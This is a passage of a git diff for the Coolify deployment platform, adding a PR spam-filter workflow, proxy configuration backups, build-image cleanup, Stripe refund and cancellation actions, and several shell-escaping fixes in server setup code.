diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 157e409c8..7fd2c358e 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,45 +1,51 @@ - + -### Changes - - +## Changes + + - -### Issues - +## Issues -- fixes: + -### Category - -- [x] Bug fix -- [x] New feature -- [x] Adding new one click service -- [x] Fixing or updating existing one click service +- Fixes -### Screenshots or Video (if applicable) - - +## Category -### AI Usage - - +- [ ] Bug fix +- [ ] Improvement +- [ ] New feature +- [ ] Adding new one click service +- [ ] Fixing or updating existing one click service -- [x] AI is used in the process of creating this PR -- [x] AI is NOT used in the process of creating this PR +## Preview -### Steps to Test - - + -- Step 1 – what to do first -- Step 2 – next action +## AI Assistance -### Contributor Agreement - + + +- [ ] AI was NOT used to create this PR +- [ ] AI was used (please describe below) + +**If AI was used:** + +- Tools used: +- How extensively: + +## Testing + + + +## Contributor Agreement + + > [!IMPORTANT] > -> - [x] I have read and understood the [contributor guidelines](https://github.com/coollabsio/coolify/blob/v4.x/CONTRIBUTING.md). If I have failed to follow any guideline, I understand that this PR may be closed without review. -> - [x] I have tested the changes thoroughly and am confident that they will work as expected without issues when the maintainer tests them +> - [ ] I have read and understood the [contributor guidelines](https://github.com/coollabsio/coolify/blob/v4.x/CONTRIBUTING.md). If I have failed to follow any guideline, I understand that this PR may be closed without review. +> - [ ] I have searched [existing issues](https://github.com/coollabsio/coolify/issues) and [pull requests](https://github.com/coollabsio/coolify/pulls) (including closed ones) to ensure this isn't a duplicate. +> - [ ] I have tested all the changes thoroughly with a local development instance of Coolify and I am confident that they will work as expected when a maintainer tests them. diff --git a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml b/.github/workflows/chore-remove-labels-and-assignees-on-close.yml deleted file mode 100644 index 8ac199a08..000000000 --- a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml +++ /dev/null @@ -1,86 +0,0 @@ -name: Remove Labels and Assignees on Issue Close - -on: - issues: - types: [closed] - pull_request: - types: [closed] - pull_request_target: - types: [closed] - -permissions: - issues: write - pull-requests: write - -jobs: - remove-labels-and-assignees: - runs-on: ubuntu-latest - steps: - - name: Remove labels and assignees - uses: actions/github-script@v7 - with: - github-token: ${{ secrets.GITHUB_TOKEN }} - script: | - const { owner, repo } = context.repo; - - async function processIssue(issueNumber, isFromPR = false, prBaseBranch = null) { - try { - if (isFromPR && prBaseBranch !== 'v4.x') { - return; - } - - const { data: currentLabels } = await github.rest.issues.listLabelsOnIssue({ - owner, - repo, - issue_number: issueNumber - }); - - const labelsToKeep = currentLabels - .filter(label => label.name === '⏱︎ Stale') - .map(label => label.name); - - await github.rest.issues.setLabels({ - owner, - repo, - issue_number: issueNumber, - labels: labelsToKeep - }); - - const { data: issue } = await github.rest.issues.get({ - owner, - repo, - issue_number: issueNumber - }); - - if (issue.assignees && issue.assignees.length > 0) { - await github.rest.issues.removeAssignees({ - owner, - repo, - issue_number: issueNumber, - assignees: issue.assignees.map(assignee => assignee.login) - }); - } - } catch (error) { - if (error.status !== 404) { - console.error(`Error processing issue ${issueNumber}:`, error); - } - } - } - - if (context.eventName === 'issues') { - await processIssue(context.payload.issue.number); - } - - if (context.eventName === 'pull_request' || context.eventName === 'pull_request_target') { - const pr = context.payload.pull_request; - await processIssue(pr.number); - if (pr.merged && pr.base.ref === 'v4.x' && pr.body) { - const issueReferences = pr.body.match(/#(\d+)/g); - if (issueReferences) { - for (const reference of issueReferences) { - const issueNumber = parseInt(reference.substring(1)); - await processIssue(issueNumber, true, pr.base.ref); - } - } - } - } diff --git a/.github/workflows/coolify-production-build.yml b/.github/workflows/coolify-production-build.yml index 477274751..5ccb43a8e 100644 --- a/.github/workflows/coolify-production-build.yml +++ b/.github/workflows/coolify-production-build.yml @@ -8,6 +8,7 @@ on: - .github/workflows/coolify-helper-next.yml - .github/workflows/coolify-realtime.yml - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml - docker/coolify-helper/Dockerfile - docker/coolify-realtime/Dockerfile - docker/testing-host/Dockerfile diff --git a/.github/workflows/coolify-staging-build.yml b/.github/workflows/coolify-staging-build.yml index 494ef6939..c5b70ca92 100644 --- a/.github/workflows/coolify-staging-build.yml +++ b/.github/workflows/coolify-staging-build.yml @@ -11,6 +11,7 @@ on: - .github/workflows/coolify-helper-next.yml - .github/workflows/coolify-realtime.yml - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml - docker/coolify-helper/Dockerfile - docker/coolify-realtime/Dockerfile - docker/testing-host/Dockerfile diff --git a/.github/workflows/generate-changelog.yml b/.github/workflows/generate-changelog.yml index 935a88721..c02c13848 100644 --- a/.github/workflows/generate-changelog.yml +++ b/.github/workflows/generate-changelog.yml @@ -3,6 +3,12 @@ name: Generate Changelog on: push: branches: [ v4.x ] + paths-ignore: + - .github/workflows/coolify-helper.yml + - .github/workflows/coolify-helper-next.yml + - .github/workflows/coolify-realtime.yml + - .github/workflows/coolify-realtime-next.yml + - .github/workflows/pr-quality.yaml workflow_dispatch: permissions: diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml new file mode 100644 index 000000000..594724fdb --- /dev/null +++ b/.github/workflows/pr-quality.yaml @@ -0,0 +1,108 @@ +name: PR Quality + +permissions: + contents: read + issues: read + pull-requests: write + +on: + pull_request_target: + types: [opened, reopened] + +jobs: + pr-quality: + runs-on: ubuntu-latest + steps: + - uses: peakoss/anti-slop@v0 + with: + # General Settings + max-failures: 4 + + # PR Branch Checks + allowed-target-branches: "next" + blocked-target-branches: "" + allowed-source-branches: "" + blocked-source-branches: | + main + master + v4.x + + # PR Quality Checks + max-negative-reactions: 0 + require-maintainer-can-modify: true + + # PR Title Checks + require-conventional-title: true + + # PR Description Checks + require-description: true + max-description-length: 2500 + max-emoji-count: 2 + max-code-references: 5 + require-linked-issue: false + blocked-terms: "STRAWBERRY" + blocked-issue-numbers: 8154 + + # PR Template Checks + require-pr-template: true + strict-pr-template-sections: "Contributor Agreement" + optional-pr-template-sections: "Issues,Preview" + max-additional-pr-template-sections: 2 + + # Commit Message Checks + max-commit-message-length: 500 + require-conventional-commits: false + require-commit-author-match: true + blocked-commit-authors: "" + + # File Checks + allowed-file-extensions: "" + allowed-paths: "" + blocked-paths: | + README.md + SECURITY.md + LICENSE + CODE_OF_CONDUCT.md + templates/service-templates-latest.json + templates/service-templates.json + require-final-newline: true + max-added-comments: 10 + + # User Checks + detect-spam-usernames: true + min-account-age: 30 + max-daily-forks: 7 + min-profile-completeness: 4 + + # Merge Checks + min-repo-merged-prs: 0 + min-repo-merge-ratio: 0 + min-global-merge-ratio: 30 + global-merge-ratio-exclude-own: false + + # Exemptions + exempt-draft-prs: false + exempt-bots: | + actions-user + dependabot[bot] + renovate[bot] + github-actions[bot] + exempt-users: "" + exempt-author-association: "OWNER,MEMBER,COLLABORATOR" + exempt-label: "quality/exempt" + exempt-pr-label: "" + exempt-all-milestones: false + exempt-all-pr-milestones: false + exempt-milestones: "" + exempt-pr-milestones: "" + + # PR Success Actions + success-add-pr-labels: "quality/verified" + + # PR Failure Actions + failure-remove-pr-labels: "" + failure-remove-all-pr-labels: true + failure-add-pr-labels: "quality/rejected" + failure-pr-message: "This PR did not pass quality checks so it will be closed. If you believe this is a mistake please let us know." + close-pr: true + lock-pr: false diff --git a/README.md b/README.md index 276ef07b5..b2d622167 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,12 @@ ## Donations Thank you so much! +### Huge Sponsors + +* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality +* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* + ### Big Sponsors * [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions! @@ -70,9 +76,11 @@ ### Big Sponsors * [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy -* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration +* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design +* [Dataforest Cloud](https://cloud.dataforest.net/en?ref=coolify.io) - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany. * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions +* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer * [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions * [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions * [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers @@ -90,6 +98,7 @@ ### Big Sponsors * [Tigris](https://www.tigrisdata.com?ref=coolify.io) - Modern developer data platform * [Tolgee](https://tolgee.io?ref=coolify.io) - The open source localization platform * [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform +* [VPSDime](https://vpsdime.com?ref=coolify.io) - Affordable high-performance VPS hosting solutions ### Small Sponsors @@ -126,7 +135,6 @@ ### Small Sponsors RunPod DartNode Tyler Whitesides -SerpAPI Aquarela Crypto Jobs List Alfred Nutile diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 4331c6ae7..fa39f7909 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -51,9 +51,11 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St } $configuration_dir = database_proxy_dir($database->uuid); + $host_configuration_dir = $configuration_dir; if (isDev()) { - $configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; + $host_configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; } + $timeoutConfig = $this->buildProxyTimeoutConfig($database->public_port_timeout); $nginxconf = <<public_port; proxy_pass $containerName:$internalPort; + $timeoutConfig } } EOF; @@ -85,7 +88,7 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St 'volumes' => [ [ 'type' => 'bind', - 'source' => "$configuration_dir/nginx.conf", + 'source' => "$host_configuration_dir/nginx.conf", 'target' => '/etc/nginx/nginx.conf', ], ], @@ -160,4 +163,13 @@ private function isNonTransientError(string $message): bool return false; } + + private function buildProxyTimeoutConfig(?int $timeout): string + { + if ($timeout === null || $timeout < 1) { + $timeout = 3600; + } + + return "proxy_timeout {$timeout}s;"; + } } diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index 58f3cda4e..fe80a7d54 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -207,6 +207,9 @@ public function handle(StandaloneKeydb $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/keydb.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 4e4f3ce53..70df91054 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -204,6 +204,9 @@ public function handle(StandaloneRedis $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) { + $this->commands[] = "chown 999:999 $this->configuration_dir/redis.conf"; + } $this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true"; $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; diff --git a/app/Actions/Docker/GetContainersStatus.php b/app/Actions/Docker/GetContainersStatus.php index 6c9a54f77..5966876c6 100644 --- a/app/Actions/Docker/GetContainersStatus.php +++ b/app/Actions/Docker/GetContainersStatus.php @@ -327,6 +327,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($exitedService->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + $name = data_get($exitedService, 'name'); $fqdn = data_get($exitedService, 'fqdn'); if ($name) { @@ -406,6 +412,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($database->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + // Reset restart tracking when database exits completely $database->update([ 'status' => 'exited', diff --git a/app/Actions/Proxy/GetProxyConfiguration.php b/app/Actions/Proxy/GetProxyConfiguration.php index 3aa1d8d34..de44b476f 100644 --- a/app/Actions/Proxy/GetProxyConfiguration.php +++ b/app/Actions/Proxy/GetProxyConfiguration.php @@ -4,6 +4,7 @@ use App\Models\Server; use App\Services\ProxyDashboardCacheService; +use Illuminate\Support\Facades\Log; use Lorisleiva\Actions\Concerns\AsAction; class GetProxyConfiguration @@ -17,28 +18,31 @@ public function handle(Server $server, bool $forceRegenerate = false): string return 'OK'; } - $proxy_path = $server->proxyPath(); $proxy_configuration = null; - // If not forcing regeneration, try to read existing configuration if (! $forceRegenerate) { - $payload = [ - "mkdir -p $proxy_path", - "cat $proxy_path/docker-compose.yml 2>/dev/null", - ]; - $proxy_configuration = instant_remote_process($payload, $server, false); + // Primary source: database + $proxy_configuration = $server->proxy->get('last_saved_proxy_configuration'); + + // Backfill: existing servers may not have DB config yet — read from disk once + if (empty(trim($proxy_configuration ?? ''))) { + $proxy_configuration = $this->backfillFromDisk($server); + } } - // Generate default configuration if: - // 1. Force regenerate is requested - // 2. Configuration file doesn't exist or is empty + // Generate default configuration as last resort if ($forceRegenerate || empty(trim($proxy_configuration ?? ''))) { - // Extract custom commands from existing config before regenerating $custom_commands = []; if (! empty(trim($proxy_configuration ?? ''))) { $custom_commands = extractCustomProxyCommands($server, $proxy_configuration); } + Log::warning('Proxy configuration regenerated to defaults', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'reason' => $forceRegenerate ? 'force_regenerate' : 'config_not_found', + ]); + $proxy_configuration = str(generateDefaultProxyConfiguration($server, $custom_commands))->trim()->value(); } @@ -50,4 +54,30 @@ public function handle(Server $server, bool $forceRegenerate = false): string return $proxy_configuration; } + + /** + * Backfill: read config from disk for servers that predate DB storage. + * Stores the result in the database so future reads skip SSH entirely. + */ + private function backfillFromDisk(Server $server): ?string + { + $proxy_path = $server->proxyPath(); + $result = instant_remote_process([ + "mkdir -p $proxy_path", + "cat $proxy_path/docker-compose.yml 2>/dev/null", + ], $server, false); + + if (! empty(trim($result ?? ''))) { + $server->proxy->last_saved_proxy_configuration = $result; + $server->save(); + + Log::info('Proxy config backfilled to database from disk', [ + 'server_id' => $server->id, + ]); + + return $result; + } + + return null; + } } diff --git a/app/Actions/Proxy/SaveProxyConfiguration.php b/app/Actions/Proxy/SaveProxyConfiguration.php index 53fbecce2..bcfd5011d 100644 --- a/app/Actions/Proxy/SaveProxyConfiguration.php +++ b/app/Actions/Proxy/SaveProxyConfiguration.php @@ -9,19 +9,41 @@ class SaveProxyConfiguration { use AsAction; + private const MAX_BACKUPS = 10; + public function handle(Server $server, string $configuration): void { $proxy_path = $server->proxyPath(); $docker_compose_yml_base64 = base64_encode($configuration); + $new_hash = str($docker_compose_yml_base64)->pipe('md5')->value; - // Update the saved settings hash - $server->proxy->last_saved_settings = str($docker_compose_yml_base64)->pipe('md5')->value; + // Only create a backup if the configuration actually changed + $old_hash = $server->proxy->get('last_saved_settings'); + $config_changed = $old_hash && $old_hash !== $new_hash; + + // Update the saved settings hash and store full config as database backup + $server->proxy->last_saved_settings = $new_hash; + $server->proxy->last_saved_proxy_configuration = $configuration; $server->save(); - // Transfer the configuration file to the server - instant_remote_process([ - "mkdir -p $proxy_path", - "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null", - ], $server); + $backup_path = "$proxy_path/backups"; + + // Transfer the configuration file to the server, with backup if changed + $commands = ["mkdir -p $proxy_path"]; + + if ($config_changed) { + $short_hash = substr($old_hash, 0, 8); + $timestamp = now()->format('Y-m-d_H-i-s'); + $backup_file = "docker-compose.{$timestamp}.{$short_hash}.yml"; + $commands[] = "mkdir -p $backup_path"; + // Skip backup if a file with the same hash already exists (identical content) + $commands[] = "ls $backup_path/docker-compose.*.$short_hash.yml 1>/dev/null 2>&1 || cp -f $proxy_path/docker-compose.yml $backup_path/$backup_file 2>/dev/null || true"; + // Prune old backups, keep only the most recent ones + $commands[] = 'cd '.$backup_path.' && ls -1t docker-compose.*.yml 2>/dev/null | tail -n +'.((int) self::MAX_BACKUPS + 1).' | xargs rm -f 2>/dev/null || true'; + } + + $commands[] = "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null"; + + instant_remote_process($commands, $server); } } diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 65a41db18..0d9ca0153 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -177,9 +177,10 @@ private function cleanupApplicationImages(Server $server, $applications = null): ->filter(fn ($image) => ! empty($image['tag'])); // Separate images into categories - // PR images (pr-*) and build images (*-build) are excluded from retention - // Build images will be cleaned up by docker image prune -af + // PR images (pr-*) are always deleted + // Build images (*-build) are cleaned up to match retained regular images $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); // Always delete all PR images @@ -209,6 +210,26 @@ private function cleanupApplicationImages(Server $server, $applications = null): 'output' => $deleteOutput ?? 'Image removed or was in use', ]; } + + // Clean up build images (-build suffix) that don't correspond to retained regular images + // Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers. + // If a build is in progress, docker rmi will fail silently since the image is in use. + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + foreach ($buildImages as $image) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + if (! $keptTags->contains($baseTag)) { + $deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true"; + $deleteOutput = instant_remote_process([$deleteCommand], $server, false); + $cleanupLog[] = [ + 'command' => $deleteCommand, + 'output' => $deleteOutput ?? 'Build image removed or was in use', + ]; + } + } } return $cleanupLog; diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index d718d3735..31e582c9b 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -30,12 +30,14 @@ public function handle(Server $server) ); $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($serverCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); remote_process($commands, $server); diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index f72f23696..e4df5a061 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -177,6 +177,19 @@ public function handle(Server $server) $parsers_config = $config_path.'/parsers.conf'; $compose_path = $config_path.'/docker-compose.yml'; $readme_path = $config_path.'/README.md'; + if ($type === 'newrelic') { + $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; + } elseif ($type === 'highlight') { + $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; + } elseif ($type === 'axiom') { + $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + } elseif ($type === 'custom') { + $envContent = ''; + } else { + throw new \Exception('Unknown log drain type.'); + } + $envEncoded = base64_encode($envContent); + $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -184,34 +197,10 @@ public function handle(Server $server) "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null", "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", - "test -f $config_path/.env && rm $config_path/.env", - ]; - if ($type === 'newrelic') { - $add_envs_command = [ - "echo LICENSE_KEY=$license_key >> $config_path/.env", - "echo BASE_URI=$base_uri >> $config_path/.env", - ]; - } elseif ($type === 'highlight') { - $add_envs_command = [ - "echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env", - ]; - } elseif ($type === 'axiom') { - $add_envs_command = [ - "echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env", - "echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env", - ]; - } elseif ($type === 'custom') { - $add_envs_command = [ - "touch $config_path/.env", - ]; - } else { - throw new \Exception('Unknown log drain type.'); - } - $restart_command = [ + "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", "echo 'Starting Fluent Bit'", "cd $config_path && docker compose up -d", ]; - $command = array_merge($command, $add_envs_command, $restart_command); return instant_remote_process($command, $server); } catch (\Throwable $e) { diff --git a/app/Actions/Server/StartSentinel.php b/app/Actions/Server/StartSentinel.php index 1f248aec1..071f3ec46 100644 --- a/app/Actions/Server/StartSentinel.php +++ b/app/Actions/Server/StartSentinel.php @@ -4,6 +4,7 @@ use App\Events\SentinelRestarted; use App\Models\Server; +use App\Models\ServerSetting; use Lorisleiva\Actions\Concerns\AsAction; class StartSentinel @@ -23,6 +24,9 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer $refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds'); $pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds'); $token = data_get($server, 'settings.sentinel_token'); + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.'); + } $endpoint = data_get($server, 'settings.sentinel_custom_url'); $debug = data_get($server, 'settings.is_sentinel_debug_enabled'); $mountDir = '/data/coolify/sentinel'; @@ -49,7 +53,7 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer } $mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel'; } - $dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"'; + $dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments)); $dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels)); $dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image"; diff --git a/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php b/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php new file mode 100644 index 000000000..34c7d194a --- /dev/null +++ b/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php @@ -0,0 +1,60 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Cancel the team's subscription at the end of the current billing period. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'Subscription is not active.']; + } + + if ($subscription->stripe_cancel_at_period_end) { + return ['success' => false, 'error' => 'Subscription is already set to cancel at the end of the billing period.']; + } + + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'cancel_at_period_end' => true, + ]); + + $subscription->update([ + 'stripe_cancel_at_period_end' => true, + ]); + + \Log::info("Subscription {$subscription->stripe_subscription_id} set to cancel at period end for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe cancel at period end error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Cancel at period end error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } +} diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php new file mode 100644 index 000000000..021cba13e --- /dev/null +++ b/app/Actions/Stripe/RefundSubscription.php @@ -0,0 +1,141 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Check if the team's subscription is eligible for a refund. + * + * @return array{eligible: bool, days_remaining: int, reason: string} + */ + public function checkEligibility(Team $team): array + { + $subscription = $team->subscription; + + if ($subscription?->stripe_refunded_at) { + return $this->ineligible('A refund has already been processed for this team.'); + } + + if (! $subscription?->stripe_subscription_id) { + return $this->ineligible('No active subscription found.'); + } + + if (! $subscription->stripe_invoice_paid) { + return $this->ineligible('Subscription invoice is not paid.'); + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + } catch (\Stripe\Exception\InvalidRequestException $e) { + return $this->ineligible('Subscription not found in Stripe.'); + } + + if (! in_array($stripeSubscription->status, ['active', 'trialing'])) { + return $this->ineligible("Subscription status is '{$stripeSubscription->status}'."); + } + + $startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date); + $daysSinceStart = (int) $startDate->diffInDays(now()); + $daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart; + + if ($daysRemaining <= 0) { + return $this->ineligible('The 30-day refund window has expired.'); + } + + return [ + 'eligible' => true, + 'days_remaining' => $daysRemaining, + 'reason' => 'Eligible for refund.', + ]; + } + + /** + * Process a full refund and cancel the subscription. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $eligibility = $this->checkEligibility($team); + + if (! $eligibility['eligible']) { + return ['success' => false, 'error' => $eligibility['reason']]; + } + + $subscription = $team->subscription; + + try { + $invoices = $this->stripe->invoices->all([ + 'subscription' => $subscription->stripe_subscription_id, + 'status' => 'paid', + 'limit' => 1, + ]); + + if (empty($invoices->data)) { + return ['success' => false, 'error' => 'No paid invoice found to refund.']; + } + + $invoice = $invoices->data[0]; + $paymentIntentId = $invoice->payment_intent; + + if (! $paymentIntentId) { + return ['success' => false, 'error' => 'No payment intent found on the invoice.']; + } + + $this->stripe->refunds->create([ + 'payment_intent' => $paymentIntentId, + ]); + + $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + + $subscription->update([ + 'stripe_cancel_at_period_end' => false, + 'stripe_invoice_paid' => false, + 'stripe_trial_already_ended' => false, + 'stripe_past_due' => false, + 'stripe_feedback' => 'Refund requested by user', + 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), + 'stripe_refunded_at' => now(), + ]); + + $team->subscriptionEnded(); + + \Log::info("Refunded and cancelled subscription {$subscription->stripe_subscription_id} for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe refund error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Refund error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } + + /** + * @return array{eligible: bool, days_remaining: int, reason: string} + */ + private function ineligible(string $reason): array + { + return [ + 'eligible' => false, + 'days_remaining' => 0, + 'reason' => $reason, + ]; + } +} diff --git a/app/Actions/Stripe/ResumeSubscription.php b/app/Actions/Stripe/ResumeSubscription.php new file mode 100644 index 000000000..d8019def7 --- /dev/null +++ b/app/Actions/Stripe/ResumeSubscription.php @@ -0,0 +1,56 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Resume a subscription that was set to cancel at the end of the billing period. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_cancel_at_period_end) { + return ['success' => false, 'error' => 'Subscription is not set to cancel.']; + } + + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'cancel_at_period_end' => false, + ]); + + $subscription->update([ + 